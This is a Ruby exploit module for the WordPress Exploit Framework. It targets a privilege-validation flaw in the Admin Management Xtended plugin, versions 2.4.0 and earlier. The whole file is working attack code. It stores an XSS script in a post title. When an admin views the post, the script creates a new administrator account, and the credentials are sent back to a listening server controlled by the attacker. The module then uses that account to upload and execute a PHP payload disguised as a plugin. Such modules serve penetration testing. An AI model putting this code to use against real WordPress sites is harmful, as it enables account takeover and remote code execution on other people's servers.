# frozen_string_literal: true

class Wpxf::Exploit::AdminManagementXtendedXssShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::Plugin
  include Wpxf::WordPress::Posts
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'Admin Management Xtended XSS Shell Upload',
      desc: 'This module exploits a lack of user level validation in versions '\
            '<= 2.4.0 of the Admin Management Xtended plugin which '\
            'allows authenticated users of any level to update the title of '\
            'any post, which allows the module to store a script that will '\
            'create a new admin user and use the new credentials to '\
            'upload and execute a payload when an admin views the page.',
      author: [
        'Kacper Szurek', # Vulnerability discovery
        'rastating'      # WPXF module
      ],
      references: [
        ['URL', 'http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html'],
        ['WPVDB', '8354']
      ],
      date: 'Oct 27 2015'
    )

    register_options([
      StringOption.new(
        name: 'username',
        desc: 'The WordPress username to authenticate with',
        required: true
      ),
      StringOption.new(
        name: 'password',
        desc: 'The WordPress password to authenticate with',
        required: true
      ),
      IntegerOption.new(
        name: 'post_id',
        desc: 'The post ID of the post to change the title of',
        required: false
      ),
      StringOption.new(
        name: 'permalink',
        desc: 'The permalink to the post to change the title of',
        required: false
      ),
      StringOption.new(
        name: 'post_title',
        desc: 'The new title to use for the post',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('admin-management-xtended', '2.4.0.1')
  end

  def update_post_title(cookie, post_id, title)
    execute_post_request(
      url: wordpress_url_admin_ajax,
      params: { 'action' => 'ame_save_title' },
      body: {
        'category_id' => post_id.to_s,
        'new_title' => title,
        'submit' => 'Change'
      },
      cookie: cookie
    )
  end

  def run
    return false unless super

    @cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
    return false unless @cookie

    if datastore['post_id'].nil? && datastore['permalink'].nil?
      emit_error 'Either the post_id or permalink option must be set'
      return false
    end

    @post_id = 0
    if !datastore['post_id'].nil? && !datastore['permalink'].nil?
      emit_warning 'Both post_id and permalink options were specified'
      emit_warning 'Ignoring permalink and using post_id'
      @post_id = normalized_option_value('post_id')
    elsif datastore['permalink'].nil?
      @post_id = normalized_option_value('post_id')
    else
      emit_info 'Extracting post ID from permalink...'
      @post_id = get_post_id_from_permalink(datastore['permalink'])
      if @post_id.nil?
        emit_error 'Failed to extract the post ID'
        return false
      end
    end

    # Success will determined in another procedure, so initialize to false.
    @success = false

    emit_info 'Storing script...'
    emit_info xss_include_script, true
    res = update_post_title(
      @cookie,
      @post_id,
      "#{datastore['post_title']}<script>#{xss_include_script}</script>"
    )

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    emit_success "Script stored and will be executed when a user views the post"
    start_http_server

    return @success
  end

  def on_http_request(path, params, headers)
    if params['u'] && params['p']
      emit_success "Created a new administrator user, #{params['u']}:#{params['p']}"
      stop_http_server

      emit_info 'Removing script from post title...'
      update_post_title(@cookie, @post_id, datastore['post_title'])

      # Set this for #run to pick up to determine success state
      @success = upload_shell(params['u'], params['p'])

      return ''
    else
      emit_info 'Incoming request received, serving JavaScript...'
      return wordpress_js_create_user
    end
  end

  def upload_shell(username, password)
    cookie = authenticate_with_wordpress(username, password)
    return false unless cookie

    emit_info 'Uploading payload...'
    plugin_name = Utility::Text.rand_alpha(10)
    payload_name = Utility::Text.rand_alpha(10)
    unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
      emit_error 'Failed to upload the payload'
      return false
    end

    payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    emit_info "Executing the payload at #{payload_url}..."
    res = execute_get_request(url: payload_url)

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    true
  end
end
